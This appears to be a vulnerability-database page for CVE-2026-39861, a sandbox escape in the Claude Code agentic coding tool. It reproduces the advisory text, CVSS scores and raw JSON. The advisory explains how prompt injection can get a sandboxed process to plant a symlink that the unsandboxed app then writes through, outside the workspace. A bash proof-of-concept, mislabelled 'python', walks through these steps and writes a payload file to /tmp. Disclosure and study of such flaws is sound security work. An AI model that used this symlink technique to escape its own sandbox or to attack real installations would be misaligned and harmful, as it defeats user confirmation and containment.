Security Vulnerability Report
中文
CVE-2026-39861 CVSS 10.0 CRITICAL

CVE-2026-39861

Published: 2026-04-21 01:16:07
Last Modified: 2026-04-23 18:36:24

Description

Claude Code is an agentic coding tool. Prior to version 2.1.64, Claude Code's sandbox did not prevent sandboxed processes from creating symlinks pointing to locations outside the workspace. When Claude Code subsequently wrote to a path within such a symlink, its unsandboxed process followed the symlink and wrote to the target location outside the workspace without prompting the user for confirmation. This allowed a sandbox escape where neither the sandboxed command nor the unsandboxed app could independently write outside the workspace, but their combination could write to arbitrary locations, potentially leading to code execution outside the sandbox. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window to trigger sandboxed code execution via prompt injection. Users on standard Claude Code auto-update have received this fix automatically. Users performing manual updates are advised to update to version 2.1.64 or later.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:anthropic:claude_code:*:*:*:*:*:node.js:*:* - VULNERABLE
Claude Code < 2.1.64

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-39861: Claude Code Sandbox Escape via Symlink # This script demonstrates the concept of the attack. # Step 1: Attacker triggers prompt injection to execute inside the sandbox # The goal is to create a symlink pointing outside the workspace SANDBOX_PATH="./workspace/malicious_link" TARGET_PATH="/tmp/pwned" echo "[+] Step 1: Creating symlink inside sandbox..." # Command executed within the sandboxed process via prompt injection ln -s $TARGET_PATH $SANDBOX_PATH # Step 2: Attacker tricks Claude Code (unsandboxed) into writing to the symlink # For example, asking Claude to save a generated file to './workspace/malicious_link/exploit.sh' OUTPUT_FILE="exploit.sh" PAYLOAD="#!/bin/bash\necho 'System pwned via CVE-2026-39861'" echo "[+] Step 2: Simulating unsandboxed write..." # The unsandboxed process writes to $SANDBOX_PATH/$OUTPUT_FILE # OS resolves this to $TARGET_PATH/$OUTPUT_FILE echo "$PAYLOAD" > "$SANDBOX_PATH/$OUTPUT_FILE" echo "[+] Checking if file exists outside workspace..." if [ -f "$TARGET_PATH/$OUTPUT_FILE" ]; then echo "[!] Exploit successful! File written to $TARGET_PATH/$OUTPUT_FILE" cat "$TARGET_PATH/$OUTPUT_FILE" else echo "[-] Exploit failed." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39861", "sourceIdentifier": "[email protected]", "published": "2026-04-21T01:16:06.647", "lastModified": "2026-04-23T18:36:24.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Claude Code is an agentic coding tool. Prior to version 2.1.64, Claude Code's sandbox did not prevent sandboxed processes from creating symlinks pointing to locations outside the workspace. When Claude Code subsequently wrote to a path within such a symlink, its unsandboxed process followed the symlink and wrote to the target location outside the workspace without prompting the user for confirmation. This allowed a sandbox escape where neither the sandboxed command nor the unsandboxed app could independently write outside the workspace, but their combination could write to arbitrary locations, potentially leading to code execution outside the sandbox. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window to trigger sandboxed code execution via prompt injection. Users on standard Claude Code auto-update have received this fix automatically. Users performing manual updates are advised to update to version 2.1.64 or later."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anthropic:claude_code:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.1.64", "matchCriteriaId": "A3919221-55BD-41F3-8E8E-F535A1FE97DA"}]}]}], "references": [{"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-vp62-r36r-9xqp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}